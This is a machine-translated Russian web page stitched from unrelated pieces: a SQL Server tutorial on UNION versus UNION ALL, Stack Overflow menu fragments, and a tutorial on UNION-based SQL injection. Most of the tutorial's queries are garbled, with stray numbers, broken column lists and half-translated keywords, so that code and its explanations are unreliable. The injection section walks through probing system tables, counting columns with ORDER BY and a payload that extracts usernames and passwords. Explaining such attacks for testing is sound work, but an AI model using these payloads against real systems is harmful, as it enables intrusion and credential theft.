В моем примере TableA и TableB содержат значения 3 и 4. На выходе мы не получаем повторяющихся значений. Мы получаем только одну строку для каждого повторяющегося значения. Он выполняет операцию DISTINCT для всех столбцов в наборе результатов.

Давайте посмотрим на это на другом примере. В этом примере я создал две таблицы Employee_F и Employee_M в образце базы данных AdventureWorks2017.

Выполните следующий скрипт для таблицы Employee_F

SELECT TOP 5 [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

INTO [AdventureWorks2017].[HumanResources]. [Employee_F]

ОТ [AdventureWorks2017]. [HumanResources]. [Сотрудник]

WHERE MaritalStatus = ‘S’;

Выполнить следующий сценарий для таблицы Employee_M

SELECT TOP 5 [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

INTO [AdventureWorks2017].[HumanResources]. [Employee_M]

ОТ [AdventureWorks2017]. [HumanResources]. [Сотрудник]

WHERE MaritalStatus = ‘M’;

Обе таблицы не содержат повторяющихся строк в таблицах друг друга. Выполним следующий оператор UNION.

1

2

3

4

5

6

7

8

9

10

11

12

13

140002

14

18

19

20

21

22

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

FROM [AdventureWorks2017].[HumanResources]. [Employee_M]

UNION

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender2] AdventureWorks2017]. [HumanResources]. [Employee_F]; UNION

SELECT [NationalIDNumber]

, [LoginID]

, [JobTitle]

, [BirthDate]

, [MaritalStatus]

, [MaritalStatus]

, [MaritalStatus]

ОТ [AdventureWorks2017].[HumanResources]. [Employee_Temp]

Обе таблицы не имеют повторяющихся строк. Следовательно, мы получаем все записи из обеих таблиц в выводе оператора SQL Union. Он содержит десять записей на выходе.

Давайте создадим еще одну таблицу, содержащую повторяющиеся строки из обеих таблиц.

SELECT TOP 5 [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

INTO [AdventureWorks2017].[HumanResources]. [Employee_All]

ОТ [AdventureWorks2017]. [HumanResources]. [Сотрудник];

Теперь мы будем использовать оператор SQL UNION между тремя таблицами. Мы все равно должны получить десять записей, потому что [Employee_All] содержит записи, которые уже существуют в таблицах Employee_M и Employee_F .

1

2

3

4

5

6

7

8

9

10

11

12

13

140002

14

18

19

20

21

22

23

24

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

FROM [AdventureWorks2017].[HumanResources]. [Employee_M]

UNION

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender2] AdventureWorks2017]. [HumanResource]. [Employee_F]

UNION

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus

],

ИЗ

[AdventureWorks2017].[HumanResources]. [Employee_All]

На следующем изображении вы можете видеть, что ОБЪЕДИНЕНИЕ этих трех таблиц не содержит повторяющихся значений.

Обзор операторов SQL Union All

Оператор SQL Union All объединяет результат двух или более операторов Select, аналогичных оператору SQL Union, с разницей. Единственное отличие состоит в том, что он не удаляет повторяющиеся строки из вывода оператора Select.

Синтаксис для оператора SQL Union All

ВЫБРАТЬ столбец1, Столбец2 … Столбец (N) ИЗ таблицыA

Объединить все

ВЫБРАТЬ столбец1, Столбец2 … Столбец (N) ИЗ таблицыB;

Давайте повторим предыдущие примеры с оператором SQL Union All.

SELECT ID

FROM TableA

UNION Все

SELECT ID

FROM TableB;

На следующем изображении вы можете увидеть результат работы операторов SQL Union и Union All.SQL Union All возвращает результат обоих операторов Select. Он не удаляет перекрывающиеся строки.

Если в таблицах нет перекрывающихся строк, вывод SQL Union All аналогичен оператору SQL Union.

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

FROM [AdventureWorks2017].[HumanResources]. [Employee_M]

UNION Все

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender] [AdventureWorks2017]. [HumanResources]. [Employee_F]

Мы можем видеть следующий вывод SQL Union All для таблиц Employee_M и Employee_F .

Теперь повторно запустите запрос с тремя таблицами Employee_M и Employee_F и Employee_All .Мы получили 10 записей на выходе SQL Union между этими тремя таблицами. Каждая таблица содержит 5 записей. Мы должны получить 15 строк на выходе оператора Union All для этих таблиц.

1

2

3

4

5

6

7

8

9

10

11

12

13

140002

14

18

19

20

21

22

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

FROM [AdventureWorks2017].[HumanResources]. [Employee_M]

UNION Все

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender] [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

FROM

[AdventureWorks2017].[HumanResources]. [Employee_All]

SQL Union против Union All Operator

Союз

Union Все

Он объединяет набор результатов из нескольких таблиц с , удаляя повторяющиеся записи

Он объединяет набор результатов из нескольких таблиц без , удаляя повторяющиеся записи

Выполняет различие в наборе результатов.

Не выполняет различную работу с набором результатов

Нам нужно указать Union operator

Нам нужно указать Union All Operator

SQL Union All обеспечивает лучшую производительность при выполнении запросов по сравнению с SQL Union

Он дает лучшую производительность по сравнению с SQL Union Operator

Разница в плане выполнения в SQL Union и Union All оператора

Мы получаем лучшую производительность запросов, если объединяем набор результатов оператора Select с оператором SQL Union All.Мы можем увидеть разницу, используя планы выполнения в SQL Server.

Примечание : В этой статье я использую ApexSQL Plan , бесплатную программу просмотра плана выполнения SQL-запроса для создания плана выполнения операторов Select.

План выполнения для SQL Union Operator

Мы можем щелкнуть по оператору сортировки, и он покажет Distinct — True .

  1. Он получает данные отдельного оператора Select
  2. SQL Server выполняет конкатенацию всех данных, возвращаемых операторами Select
  3. Он выполняет отдельный оператор для удаления повторяющихся строк

План выполнения для оператора SQL Union All

В плане выполнения как SQL Union, так и Union All мы видим следующую разницу.

  • SQL Union содержит оператор сортировки, стоимость которого составляет 53,7% от общего числа операторов пакетной обработки.
  • Оператор сортировки может быть дороже, если мы работаем с большими наборами данных

Предложение Order By в разделе SQL Union vs Union All

Мы не можем использовать предложение Order by с каждым оператором Select. SQL Server может выполнять сортировку только по окончательному набору результатов.

Давайте попробуем использовать Order by с каждым оператором Select.

1

2

3

4

5

6

7

8

9

10

11

12

13

140002

14

18

19

20

21

22

23

24

25

26

27

28

29

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

FROM [AdventureWorks2017].[HumanResources]. [Employee_M]

Сортировать по [JobTitle]

UNION

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate] [Дата рождения],

[Пол]

ОТ [AdventureWorks2017]. [HumanResources]. [Employee_F]

Сортировать по [JobTitle]

UNION

SELECT [NationalIDNumber],

003 [LoginID],

[LoginID],

[Дата рождения],

[MaritalStatus],

[Пол]

ИЗ

[AdventureWorks2017].[HumanResources]. [Employee_All]

Сортировать по [JobTitle]

Получаем следующее сообщение об ошибке. Выдает сообщение об ошибке «неправильный синтаксис».

Допустимый запрос для сортировки результатов с использованием предложения Order by в операторе SQL Union выглядит следующим образом.

1

2

3

4

5

6

7

8

9

10

11

12

13

140002

14

18

19

20

21

22

23

24

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

FROM [AdventureWorks2017].[HumanResources]. [Employee_M]

UNION

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender2] AdventureWorks2017]. [HumanResource]. [Employee_F]

UNION

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus

],

ИЗ [AdventureWorks2017].[HumanResources]. [Employee_All]

ЗАКАЗАТЬ ПО [JobTitle];

Мы получаем следующий результат с набором результатов, отсортированным по столбцу JobTitle .

Комбинация SQL Union и Union All в операторе Select

Мы можем использовать SQL Union vs Union All в операторе Select. Предположим, мы хотим выполнить следующие действия с нашими образцами таблиц.

  • Набор результатов A = UNION между [Employee_F] и [Employee_All]
  • Набор результатов = Объединить все между [Employee_M] и набором результатов A

В следующем запросе мы используем круглые скобки для выполнения объединения между таблицами [Employee_F] и [Employee_All].SQL Server выполняет запрос в круглых скобках, а затем выполняет объединение всех между набором результатов и таблицей [Employee_M].

.

1

2

3

4

5

6

7

8

9

10

11

12

13

140002

14

18

19

20

21

22

23

24

25

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

FROM [AdventureWorks2017].[HumanResources]. [Employee_M]

UNION Все

(- Круглые скобки

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

] [MaritalStatus] [Пол]

ИЗ [AdventureWorks2017]. [HumanResources]. [Employee_F]

UNION

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate

] [Дата рождения

],

,

[Пол]

ОТ [AdventureWorks2017].[HumanResources]. [Employee_All]

)

Мы легко можем понять это с помощью плана выполнения. На следующем снимке экрана мы видим фактический план выполнения.

Шаг 1 : данные конкатенации (соединение SQL) между таблицей Employee_F и Employee_All .

Шаг 2 : данные конкатенации (SQL Union All) между Employee_M и выходными данными шага 1.

Заключение

В этой статье мы сравнили SQL Union с оператором Union All и рассмотрели примеры с вариантами использования.Надеюсь, вы нашли эту статью полезной. Не стесняйтесь оставлять отзывы в комментариях ниже.

Раджендра имеет более 8 лет опыта в администрировании баз данных и увлечен оптимизацией производительности баз данных, мониторингом, технологиями обеспечения высокой доступности и аварийного восстановления, изучением новых вещей, новыми функциями.

Работая старшим консультантом администратора баз данных для крупных заказчиков и получив сертификат MCSA SQL 2012, он любит делиться знаниями в различных блогах.
С ним можно связаться по [email protected]

Посмотреть все сообщения Rajendra Gupta

Последние сообщения Rajendra Gupta (посмотреть все)

.

sql — Использование union и order by в mysql

Переполнение стека

  1. Около
  2. Продукты

  3. Для команд
  1. Переполнение стека
    Общественные вопросы и ответы

  2. Переполнение стека для команд
    Где разработчики и технологи делятся частными знаниями с коллегами

  3. Вакансии
    Программирование и связанные с ним технические возможности карьерного роста

  4. Талант
    Нанимайте технических специалистов и создавайте свой бренд работодателя

  5. Реклама
    Обратитесь к разработчикам и технологам со всего мира

  6. О компании

Загрузка…

.

SQL-инъекция с использованием UNION

Понимание того, как создать действительную атаку на основе UNION для извлечения информации

Атаки

UNION позволяют тестировщику легко извлекать информацию из базы данных . Поскольку оператор UNION может использоваться только в том случае, если оба запроса имеют одинаковую структуру, злоумышленник должен создать оператор SELECT, аналогичный исходному запросу. Для этого необходимо знать допустимое имя таблицы, но также необходимо определить количество столбцов в первом запросе и их тип данных.Чтобы упростить обучение, в этой статье объясняется, как это можно сделать, если включен отчет об ошибках . Однако тот же принцип применялся бы, если бы это было не так. Дополнительные сведения см. В последнем разделе статьи.

Ошибка имени таблицы

Гадание может быть вариантом поиска имени таблицы, которое существует в базе данных (в некоторых случаях удачное), но давайте рассмотрим подход, который гарантирует успешные результаты, даже если удача не на вашей стороне. Лучший способ найти такую ​​информацию — использовать системных таблиц вместо пользовательских таблиц.Даже если системы баз данных имеют другое соглашение об именах, количество популярных СУБД действительно ограничено, и действительное имя системной таблицы можно найти быстро. Обратите внимание, что на этом шаге даже не обязательно указывать имена столбцов, поскольку можно использовать минимальный оператор SELECT. Давайте теперь посмотрим, как избавиться от ошибки имени таблицы на примере (использовался этот список системных таблиц):

Пользовательский ввод (системная таблица MySQL).

1 UNION SELECT 1 FROM information_schema.tables

Запрос создан.

ВЫБРАТЬ имя, описание, цену ИЗ продуктов ГДЕ категория = 1 СОЮЗ ВЫБРАТЬ 1 ИЗ information_schema.tables

Возвращена ошибка.

ORA-00942: таблица или представление не существует.

Это имя таблицы недействительно. Попробуем с системными таблицами другой популярной СУБД.

Пользовательский ввод (системная таблица Oracle).

1 СОЕДИНЕНИЕ ВЫБРАТЬ 1 ИЗ all_tables

Запрос создан.

ВЫБРАТЬ имя, описание, цену ИЗ продуктов ГДЕ категория = 1 СОЕДИНЕНИЕ ВЫБРАТЬ 1 ИЗ all_tables

Возвращена ошибка.

ORA-01789: в блоке запроса неверное количество столбцов результатов.

Ошибка по-прежнему возвращается, но не связана с недопустимым именем таблицы . Теперь злоумышленник знает действительную таблицу и может решить проблему, связанную с количеством столбцов.

Количество столбцов

Существует два основных способа узнать, сколько столбцов выбрано исходным запросом. Первый — добавить предложение ORDER BY, указывающее номер столбца. Если указанный номер столбца больше, чем количество столбцов в операторе SELECT, будет возвращена ошибка.В противном случае результаты будут отсортированы по указанному столбцу. Давайте посмотрим на оба случая.

Пользовательский ввод.

1 ЗАКАЗАТЬ 2

Запрос создан (выбирает только 3 столбца).

ВЫБЕРИТЕ название, описание, цену ОТ товаров ГДЕ категория = 1 ЗАКАЗАТЬ 2

Результат.

Возвращенные данные отсортированы по описанию.

Мы знаем, что оператор select имеет как минимум 2 столбца. Чтобы найти точное количество столбцов, число увеличивается до тех пор, пока не будет возвращена ошибка, связанная с предложением ORDER BY.

Запрос создан (выбирает только 3 столбца).

ВЫБЕРИТЕ название, описание, цену ИЗ товаров ГДЕ id = 1 ЗАКАЗАТЬ НА 4

Возвращена ошибка.

ORA-01785: Элемент ORDER BY должен быть номером выражения списка SELECT.

Теперь мы можем сделать вывод, что исходный запрос имеет 3 столбца.

Альтернативный метод определения количества столбцов — это прямое введение нового оператора с помощью UNION. Количество столбцов во введенном выборе увеличивается до тех пор, пока ядро ​​базы данных не вернет ошибку, связанную с количеством столбцов.Даже если этот подход совершенно верен, первый более популярен.

Типы данных

Последний шаг — определить тип данных каждого столбца исходного запроса. Некоторые СУБД, такие как MySQL и SQL Server, не строго относятся к типам данных и допускают неявное числовое преобразование. Кроме того, в некоторых случаях ядро ​​базы данных может возвращать подробные сообщения об ошибках, чтобы указать, какой столбец имеет несоответствие типа данных. В нашем примере система использует Oracle, который не дает злоумышленнику ни одного из этих «попаданий».Однако после некоторых тестов можно определить правильную комбинацию и раскрыть структуру запроса.

Пользовательский ввод.

1 UNION SELECT ‘A’, ‘B’, 3 FROM all_tables

Запрос создан.

ВЫБРАТЬ имя, описание, цену ИЗ продуктов ГДЕ категория = 1 СОЕДИНЕНИЕ ВЫБРАТЬ ‘A’, ‘B’, 3 FROM all_tables

Результат.

Сообщение об ошибке не возвращается, и данные отображаются.

Всего с 3 столбцами относительно легко протестировать различные случаи (всего 9 комбинаций).Однако при большом количестве столбцов количество возможных комбинаций экспоненциально растет. К счастью, некоторые инструменты, такие как sqlmap, могут автоматизировать этот процесс.

При выполнении ручного тестирования имейте в виду, что мы можем разделить типы данных на две группы: числовые значения и остальные (рассматриваемые как строки, поскольку они заключены в кавычки). Вам не нужно тестировать каждый тип, поддерживаемый ядром базы данных.

Извлечение информации

Давайте теперь посмотрим, как злоумышленник может воспользоваться этой атакой UNION для извлечения важных данных.Первым шагом является сбор информации о схеме базы данных путем создания допустимого оператора SELECT. Это позволит злоумышленнику составить список пользовательских таблиц и найти их имена столбцов. С этого момента можно получить любую информацию, если введенный запрос следует структуре, установленной ранее. Вот что мог сделать злоумышленник, обнаружив имена таблиц и столбцов.

Созданный параметр (извлечение имени пользователя и паролей).

1 И 1 = 2 UNION SELECT имя пользователя, пароль, 1 ИЗ участников

Запрос создан.

ВЫБЕРИТЕ имя, описание, цену ИЗ продуктов ГДЕ категория = 1 И 1 = 2 СОЕДИНЕНИЕ ВЫБЕРИТЕ имя пользователя, пароль, 1 ИЗ членов

Коротко о последнем примере. В предложение WHERE исходного запроса перед оператором UNION было добавлено условие всегда ложно. Это обычная практика при извлечении данных. Поступая таким образом, злоумышленник гарантирует, что все возвращенные строки взяты из внедренного запроса.

Преобразование типа данных

Возможно, что все столбцы, выбранные исходным запросом, имеют один и тот же тип данных.Например, запросом могут быть выбраны только числовые значения. Извлечение текстовых значений может показаться невозможным, но эту проблему можно решить с помощью функций преобразования. Дополнительные сведения см. В статьях о преобразовании и объединении данных.

Заключение

Используя технику, описанную в этой статье, злоумышленник сможет воспользоваться уязвимостями SQL-инъекций для извлечения важной информации. Важно отметить, что отчеты об ошибках не всегда доступны.В ситуации, когда злоумышленнику не возвращается ошибка базы данных, SQL-инъекции на основе UNION все еще возможны, но процесс определения основной структуры запроса потребует техники слепого SQL-инъекции.

Опубликовано в: Методы внедрения SQL

.Доступ

мс — SQL-запрос — Использование заказа по в UNION

Переполнение стека

  1. Около
  2. Продукты

  3. Для команд
  1. Переполнение стека
    Общественные вопросы и ответы

  2. Переполнение стека для команд
    Где разработчики и технологи делятся частными знаниями с коллегами

  3. Вакансии
    Программирование и связанные с ним технические возможности карьерного роста

  4. Талант
    Нанимайте технических специалистов и создавайте свой бренд работодателя

  5. Реклама
    Обратитесь к разработчикам и технологам со всего мира

  6. О компании

Загрузка…

  1. Авторизоваться
    зарегистрироваться

  2. текущее сообщество

.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

2021 © Все права защищены. Карта сайта